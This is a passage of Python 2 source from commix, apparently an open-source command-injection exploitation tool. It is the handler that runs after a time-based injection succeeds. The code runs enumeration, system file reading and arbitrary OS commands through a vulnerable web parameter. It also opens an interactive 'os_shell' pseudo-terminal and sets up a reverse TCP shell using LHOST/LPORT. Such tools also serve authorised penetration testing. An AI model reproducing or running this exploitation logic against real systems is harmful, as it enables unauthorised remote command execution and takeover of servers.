                                "%20", " ", payload.replace(
                                    "\n", "\\n")) + Style.RESET_ALL

                            # Check for any enumeration options.
                            if settings.ENUMERATION_DONE == True:
                                while True:
                                    enumerate_again = raw_input(
                                        "\n(?) Do you want to enumerate again? [Y/n/q] > "
                                    ).lower()
                                    if enumerate_again in settings.CHOISE_YES:
                                        tb_enumeration.do_check(
                                            separator, maxlen, TAG, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, alter_shell,
                                            filename)
                                        break
                                    elif enumerate_again in settings.CHOISE_NO:
                                        break
                                    elif enumerate_again in settings.CHOISE_QUIT:
                                        sys.exit(0)
                                    else:
                                        if enumerate_again == "":
                                            enumerate_again = "enter"
                                        print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tb_enumeration.do_check(
                                    separator, maxlen, TAG, prefix, suffix,
                                    delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename)

                            # Check for any system file access options.
                            if settings.FILE_ACCESS_DONE == True:
                                while True:
                                    file_access_again = raw_input(
                                        "(?) Do you want to access files again? [Y/n/q] > "
                                    ).lower()
                                    if file_access_again in settings.CHOISE_YES:
                                        tb_file_access.do_check(
                                            separator, maxlen, TAG, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, alter_shell,
                                            filename)
                                        break
                                    elif file_access_again in settings.CHOISE_NO:
                                        break
                                    elif file_access_again in settings.CHOISE_QUIT:
                                        sys.exit(0)
                                    else:
                                        if file_access_again == "":
                                            file_access_again = "enter"
                                        print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL
                                        pass
                            else:
                                tb_file_access.do_check(
                                    separator, maxlen, TAG, prefix, suffix,
                                    delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename)

                            # Check if defined single cmd.
                            if menu.options.os_cmd:
                                cmd = menu.options.os_cmd
                                check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                    separator, maxlen, TAG, prefix, suffix,
                                    delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename)
                                # Exploirt injection result
                                tb_injector.export_injection_results(
                                    cmd, separator, output, check_how_long)
                                sys.exit(0)

                            # Pseudo-Terminal shell
                            go_back = False
                            go_back_again = False
                            while True:
                                if go_back == True:
                                    break
                                gotshell = raw_input(
                                    "(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
                                ).lower()
                                if gotshell in settings.CHOISE_YES:
                                    print ""
                                    print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                    while True:
                                        try:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            readline.parse_and_bind(
                                                "tab: complete")
                                            cmd = raw_input("""commix(""" +
                                                            Style.BRIGHT +
                                                            Fore.RED +
                                                            """os_shell""" +
                                                            Style.RESET_ALL +
                                                            """) > """)
                                            cmd = checks.escaped_cmd(cmd)
                                            if cmd.lower(
                                            ) in settings.SHELL_OPTIONS:
                                                os_shell_option = checks.check_os_shell_options(
                                                    cmd.lower(), technique,
                                                    go_back, no_result)
                                                if os_shell_option == False:
                                                    return False
                                                elif os_shell_option == "quit":
                                                    sys.exit(0)
                                                elif os_shell_option == "back":
                                                    go_back = True
                                                    break
                                                elif os_shell_option == "os_shell":
                                                    print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                                elif os_shell_option == "reverse_tcp":
                                                    # Set up LHOST / LPORT for The reverse TCP connection.
                                                    lhost, lport = reverse_tcp.configure_reverse_tcp(
                                                    )
                                                    while True:
                                                        if lhost and lport in settings.SHELL_OPTIONS:
                                                            result = checks.check_reverse_tcp_options(
                                                                lhost)
                                                        else:
                                                            cmd = reverse_tcp.reverse_tcp_options(
                                                                lhost, lport)
                                                            result = checks.check_reverse_tcp_options(
                                                                cmd)
                                                        if result != None:
                                                            if result == 0:
                                                                return False
                                                            elif result == 1 or result == 2:
                                                                go_back_again = True
                                                                break
                                                        # Command execution results.
                                                        from src.core.injections.results_based.techniques.classic import cb_injector
                                                        whitespace = settings.WHITESPACES[
                                                            0]
                                                        response = cb_injector.injection(
                                                            separator, TAG,
                                                            cmd, prefix,
                                                            suffix, whitespace,
                                                            http_request_method,
                                                            url,
                                                            vuln_parameter,
                                                            alter_shell,
                                                            filename)
                                                        # Evaluate injection results.
                                                        shell = cb_injector.injection_results(
                                                            response, TAG)
                                                        # Exploirt injection result
                                                        if menu.options.verbose:
                                                            print ""
                                                        print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                                else:
                                                    pass

                                            else:
                                                print ""
                                                # The main command injection exploitation.
                                                check_how_long, output = tb_injector.injection(
                                                    separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)
                                                # Exploirt injection result
                                                tb_injector.export_injection_results(
                                                    cmd, separator, output,
                                                    check_how_long)
                                                print ""
                                        except KeyboardInterrupt:
                                            raise

                                        except SystemExit:
                                            raise

                                elif gotshell in settings.CHOISE_NO:
                                    if checks.next_attack_vector(
                                            technique, go_back) == True:
                                        break
                                    else:
                                        if no_result == True:
                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOISE_QUIT:
                                    sys.exit(0)

                                else:
                                    if gotshell == "":
                                        gotshell = "enter"
                                    print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                                    pass

                        break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()